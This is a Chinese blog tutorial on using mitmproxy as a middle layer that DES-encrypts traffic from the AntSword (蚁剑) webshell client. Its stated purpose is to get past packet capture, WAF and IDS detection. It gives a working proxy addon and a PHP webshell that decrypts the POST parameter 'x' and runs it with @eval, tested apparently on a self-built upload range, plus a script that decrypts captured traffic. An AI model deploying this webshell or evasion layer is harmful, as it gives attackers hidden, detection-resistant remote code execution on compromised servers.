mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4
1120 字
3 分钟
mitmproxy实现流量中转加密
2026-07-01

mitmproxy实现流量中转加密#

参考文章: https://www.getmonero.us/thread-500.htm

在网络安全与 CTF 场景中,流量往往是攻击分析的重要入口。

如果通信内容以明文传输:

  • 容易被抓包分析
  • 命令内容暴露
  • 行为特征明显
  • 易被 WAF / IDS 识别

因此可以引入一种思路:

在客户端与服务器之间加入“代理加密层”,使流量始终以密文形式传输。

什么是MITM代理#

Burp Suitemitmproxy等都属于MITM (Man-in-the-middle attack,中间人攻击)代理工具。MITM代理是一种网络调试工具,它在客户端和服务器之间充当“中间人”,拦截并双向转发所有流量。核心能力是能解密HTTPS:通过让客户端信任一个本地根证书,代理会动态伪造目标服务器的证书,从而在两端分别建立加密隧道,使自己能读取和修改明文数据。

mitmproxy#

mitmproxy 是一款基于 Python 开发的开源中间人代理工具,专门用于拦截、查看、修改和重放 HTTP/HTTPS 流量。核心原理是通过让客户端信任其自签的根证书,动态伪造目标服务器证书来解密 TLS 流量,从而实现对加密请求和响应内容的明文读写与脚本化处理(支持 Python 插件)。

在这里使用MitmProxy作为代理,编写MitmProxy插件对数据进行加解密。

环境配置#

安装:

pip install mitmproxy

测试运行#

这里先选择一个简单的目标:

客户端发送 x=hello
mitmproxy 拦截并修改为x=HACKED123
服务器收到修改后的数据

创建测试服务器:

server.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
query = urllib.parse.urlparse(self.path).query
print("[SERVER收到]", query)
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK from server")
if __name__ == "__main__":
server = HTTPServer(("0.0.0.0", 8000), Handler)
print("Server running at http://127.0.0.1:8000")
server.serve_forever()

这是一个简单的Python HTTP服务器,监听8000端口,收到GET请求后会把查询字符串打印到控制台,并返回”OK from server”。

编写mitmproxy插件:

from mitmproxy import http
import urllib.parse
class FlowModifier:
# 请求拦截(重点)
def request(self, flow: http.HTTPFlow):
print("\n========== REQUEST ==========")
print("URL:", flow.request.url)
print("原始内容:", flow.request.text)
# 解析参数
if "x=" in flow.request.text:
parts = flow.request.text.split("x=")
before = parts[0]
value = parts[1]
print("[解析参数] x =", value)
# 修改数据
new_value = "HACKED123"
# 回写请求
flow.request.text = before + "x=" + new_value
print("[修改后请求]", flow.request.text)
# 响应拦截
def response(self, flow: http.HTTPFlow):
print("\n========== RESPONSE ==========")
if flow.response:
print("原始响应:", flow.response.text)
# 修改响应内容
flow.response.text = "MODIFIED BY MITMPROXY"
print("修改后响应:", flow.response.text)
addons = [
FlowModifier()
]

创建测试客户端:

import requests
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
url = "http://127.0.0.1:8000/?x=hello"
r = requests.get(url, proxies=proxies)
print("\n========== CLIENT ==========")
print(r.text)

运行:

启动服务器:

python server.py

image-20260701101148554

正常启动…

启动 mitmproxy:

mitmdump -s proxy.py

image-20260701101517951

尝试不使用代理传入参数:x=hello

image-20260701102541369

可以发现服务器正常响应。

尝试使用代理传参:

curl -x http://127.0.0.1:8080 "http://127.0.0.1:8000/?x=hello"

image-20260701101953306

可以发现请求和响应已经被 mitmproxy 拦截并修改。

服务器返回MODIFIED BY MITMPROXY

应用-Webshell流量加密#

在前面的测试中,已经通过 mitmproxy 构建了一个基础的 HTTP 流量拦截与修改环境,实现了对请求参数的读取与篡改,以及对响应内容的动态修改,从而验证了“客户端—代理—服务端”这一完整链路的可控性。

在此基础上进一步引入加密机制,可以将原本明文传输的参数进行编码与加密处理,使得数据在经过代理转发时以密文形式存在,并在服务端完成解密与处理,从而实现一个基于中间代理的 Webshell 流量加密通信模型。

蚁剑流量#

大多数webshell客户端工具支持代理功能,以蚁剑为例,其代理功能主要用于将工具产生的所有网络流量通过指定的代理服务器进行转发,核心作用包括突破网络隔离限制以连接内网目标、隐藏操作者真实IP地址以增强隐匿性,以及配合BurpSuite等调试工具进行流量分析与安全测试。

利用mitmproxy 可以将蚁剑传输的数据进行自定义加密后发送给webshell,由webshell解密数据进行执行

mitmproxy插件:#

以下是一个DES-ECB的加密插件,将蚁剑发出的明文流量,在中间层进行DES加密后再转发给Webshell,同时解密Webshell返回的加密响应。

import base64
import mitmproxy.http
import pyDes
import random
from urllib.parse import quote
key = "password"
# 加密
def encrypt_str(key,data):
# 加密方法
method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
# 执行加密码
k = method.encrypt(data)
# 转base64编码并返回
return base64.b64encode(k)
# 解密
def decrypt_str(key,data):
method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
# 对base64编码解码
k = base64.b64decode(data)
# 再执行Des解密并返回
return method.decrypt(k)
class Counter:
def __init__(self):
pass
def request(self, flow: mitmproxy.http.HTTPFlow):
""" 请求包修改 """
location = str(flow.request.content).find("&x") # 这里的x是连接密码,需要自己修改
if location == -1:
# 对测试连接流量进行加密
password = str(flow.request.content).split('=',1)[0]
content = str(flow.request.content).split('=',1)[1]
# 对传输的代码进行加密
content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), content),encoding="UTF-8")),encoding="UTF-8")
can = password + "="
can = bytes(can,encoding="utf-8")
content = can + content
content = str(content)
# 删除content str后产生的多余的字节流标志
content = content.replace("b\"b\'","")
else:
# 对具体执行的操作进行加密,包括文件相关以及命令相关的所有数据
parameter = str(flow.request.content)[0:location]
content = str(flow.request.content)[location + 1:]
password = content.split('=',1)[0]
content = content.split('=',1)[1] # + parameter
content = content.replace("\'&b\'","&")
content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), content),encoding="UTF-8")),encoding="UTF-8")
can2 = "&" + password + "="
can2 = bytes(can2,encoding="utf-8")
parameter = bytes(parameter,encoding="utf-8")
content = parameter + can2 + content
print(content)
content = str(content)
# 删除content str后产生的多余的字节流标志
content = content.replace("b\"b\'","")
content = content.replace("b\"","")
content = content.replace("b\'","")
# 发送加密后的数据
flow.request.content = bytes(content, encoding="utf-8")
print(flow.request.content)
def response(self,flow: mitmproxy.http.HTTPFlow):
""" 响应包返回 """
print(flow.response.content)
addons = [
Counter()
]

webshell:#

接收加密的POST数据,解密后执行PHP代码。

<?php
// 加密
function des_encrypt($str, $key) {
$block = mcrypt_get_block_size('des', 'ecb');
$pad = $block - (strlen($str) % $block);
$str .= str_repeat(chr($pad), $pad);
return mcrypt_encrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB);
}
// 解密
function des_decrypt($str, $key) {
// $str = urldecode($str);
$str = base64_decode($str);
// echo $str;
$str = mcrypt_decrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB);
$len = strlen($str);
$block = mcrypt_get_block_size('des', 'ecb');
$pad = ord($str[$len - 1]);
$str = urldecode($str);
$str = rtrim($str, "\x00..\x1F");
$str = substr($str, 0, -1);
// return $str;
// echo $str;
return substr($str, 0, $len - $pad);
}
//设置AES秘钥
$key = 'password'; //此处填写前后端共同约定的秘钥
$content = $_POST["x"];
$code = des_decrypt($content, $key);
@eval($code);
?>

在自建的文件上传靶场中进行测试:

image-20260701104159831

同时使用wireshark进行流量捕获:

image-20260701104317670

开启代理中转:

mitmdump -k -s proxy.py

image-20260701104509471

在蚁剑添加mitmproxy代理,默认端口8080

image-20260701104556417

链接webshell,这里选择明文传输(无编码器):

image-20260701104722864

执行命令访问根目录,

mitmproxy成功运行:

image-20260701110528476

可以发现在wireshrak的捕获中,请求已经通过加密:

image-20260701104935821

在知道加密算法和密钥的情况下进行解密:

import base64
from urllib.parse import unquote
from Crypto.Cipher import DES
# 1. 填入您提供的原始密文流量 (参数 x 的值)
raw_cipher_text = "UImx0ha0NVJUxzB6aF5UtN5%2B%2Bs4PWzP8rHKMWjGrMC1PjuDkRynwiafgRls6zuy81wVJHMJlshHyGSjvjjlYyAN%2Bd2rPJ%2BXF2J12zDPsOA7Zm%2BiLfDrYGQRaM8DJCw2jMjBvKTCKPte4AXdMe8QTJYcTFb19yWZOHcxRhqlxT6NBKuIvYgFekk%2BMrJyRXKJE31qkyu03XXcuN%2BoaDHdIRKSeoNXzsnj5Wg45srRQb9NoJYNv8pPVnj7R6LJbt4SGKRTDcf1cEDbWJpaMF4RQE2z0PZwUYNhKN4FN8aF319UJqQGAcDrf16qI9GzgdMvGd22n2WS8LE6tKRxu2fXkuS09%2BmwD1ZjWTTMB%2BgpEMcnsPl1Umamd9ignFbQEZafd%2Bvm6dcPFKFeP5YY2I03JA8/BnujStmSochILbKkxzA3bRhGgxx7DVjMmUD7iEXWklCjv31sxhq8Z271fy1dCtn3YQmFAhIxLkfpPX3Flohe6wyKtWhe64ax/gf5EawRL1zLCNZL%2B0pPBjNZLUslxHyyKaOiMw89iICWJrNcVj32OulajvGQ5GF3EfLO9pnELDSWeaiDVa5UCVT1vk5Pa9xe8HwB78YSY1IjIUN8XeqAE0S6UA/bharEeMX5TLU5bjEkBIifxVvysERVtY2zq/6YZ9b/IZQokZtObYQzEBT8kqGKhMPYsmVcl389eR/i41v4lUDRqxAQYUDmc9urJKTayKAvvTOYVnlv7VjH3lcl76c9wAx%2B76a1HfUdlIgWKU2WQSwx6Yg0ZAXzGQHPMYc5OBR7Ha3FYeC2KVSAsnOtrTu6za5UNsZNOVYs1%2B%2BATjplKfUu4ijBX8xDIDCOHc8ysuyrl7crXNVf48BPelWLo3AgBFJ2R93BA5GPB1XL0ivcRWs4gHGGclZvH8E/5yu3pKLc%2B21hM6uiiq7gRDqemi4z2Z/wE58H%2Bq0U5IoO%2BSm9%2BC/15lQzWW8CgZIZOe/HFDELHc3%2B2Y9dpMN9hVeFHJ7hlgf07q4RDjNH9nHNY/VXpwg1sfNd7IhK3U9F6SzIwbykwij7XiMtUDh6l3A/lSsBH3fPe7baHDnkGyDB3G+oIbrzNbfu6UREiqWxmq4KL9pHLEdys675CUF+dLwKDbejk1dVilHY0QJUYsAY5cvlsPNzJ9VJDLGm437cHbsEwYz+UN1hut5DmsJc0ZKdsyOnWVH10CvVK0ZswAV5lE8q+UgsKAjeEITxFBbcybCnolsHlk+VBPjHXfojD6KK6jAXeJm2xydjbM+Oufowos5twsXCyAuUwNEAUSZkpFehVYVorasq+dEj4nMcH3V7BZ0rXWiPLRbodxDWXoKHudUEC9E1nCvsN3GmxYTdMQUwFQ95g%2BAJ0kCHOaCI9ReuKUt7xND7YjDOPV07g4bD1/Z5p67hmBDjf1s%2B0W2W4QOuhe1P3XFwgzdktF7UEPfqP14Hrkej0e2Yfe2xUlsWEcQciQ5p74alfMwxf6GZ6HFqkgRAcc/9klV589ecd4aro156M%2B%2Bf/CtZ23GR31T1l0EyWcyhXUBdlOu2CBjxhc8KPwEzVVM7PniFu9XEV9S3/WAzby%2BGzO3k6ibaprUhrmALWPc7Vd0kVKEMPL61NiohUTr2lpMIvf8SQs6jUmfJG%2BrGmKyc1IegvhCgdadn9Cos1e/SVWn2uAdMJaPV8bdHVAsgnBWvH2LEfi7hfUh2WQ93PtjfDVwvZOt1rceez90iTiwEKAHU4yf0%2Bjq4w9kzT1S6HCH/U8yaB43iD8K5%2BxUNW8a6b7ovXOGRko3Y6Jt34z3SYJobD2Bh2Nz5a6v0rv4OoTqTIlCmN54NJIiyWz7QyANDwtgGgrkyINdhizYlmezxwU5vfgrgJJvrXmA3mwBxZouDAdVJcpQnJKjsHLC67xjqFxWLL2VK9ncn/uWiYho24CW3sVh2z%2BPKzpm%2BRk3K2Pu6/Hl7uIDTY4Na%2BIXEoZFBUXSLPwJr1kxVB1KnnNyu19ndStC/DdIiXDv7iP37cE4sQT2Rlmano9hSmJZUzQsqJAm2bniude3lnMKHQevSvBCJ4sOy2wih/R//axzJGRkYZVYPujXqlwWkoYijlugX3//chRTDXVeviFbE7LDg%2BAyR0GaMcNrIys3%2B%2BfEBdVbFv8EY/slWMhTFgBaSIpAUc1NI70pCX5rIQmo/XpDBVTQlh03UEiAuUtucpwF5qIUUEgMQBUox9/lFVdaRD/ttgMMJfebwV/RnoxJ8njhNNgZmVELd7UokkaErSkp0amXJslCBQ90nLk5HVMpsGdo27owqhNCQLg2t0umm%2BpoaxzirqqYcbNOBrHTOPV07g4bD1hgYsVQ3%2BJewsiie1Q/VGsoA0EnHWab3TQmnZMDDGdj6fbY6IrDGCs7whU%2Bu4gZcGOLaDqiRJoC/HgegDvrFXRqiTrzob5sTe"
# 2. 进行 URL 解码
url_decoded = unquote(raw_cipher_text)
# 3. 进行 Base64 解码获取二进制密文
encrypted_bytes = base64.b64decode(url_decoded)
# 4. 设置 DES-ECB 密钥 (8字节)
key = b"password"
try:
# 5. 初始化解密器并解密
cipher = DES.new(key, DES.MODE_ECB)
decrypted_bytes = cipher.decrypt(encrypted_bytes)
# 6. 移除 PKCS7 或 Zero 填充 (WebShell 常用填充处理)
# 尝试打印明文
print("--- 解密成功,明文内容如下 ---")
print(decrypted_bytes.decode('utf-8', errors='ignore'))
except Exception as e:
print(f"解密失败,请检查密钥或密文完整性: {e}")

image-20260701110243098

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

mitmproxy实现流量中转加密
http://czxh.top/posts/mitmproxy实现流量中转加密/
作者
Mitunlny & Pr0mis3
发布于
2026-07-01
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录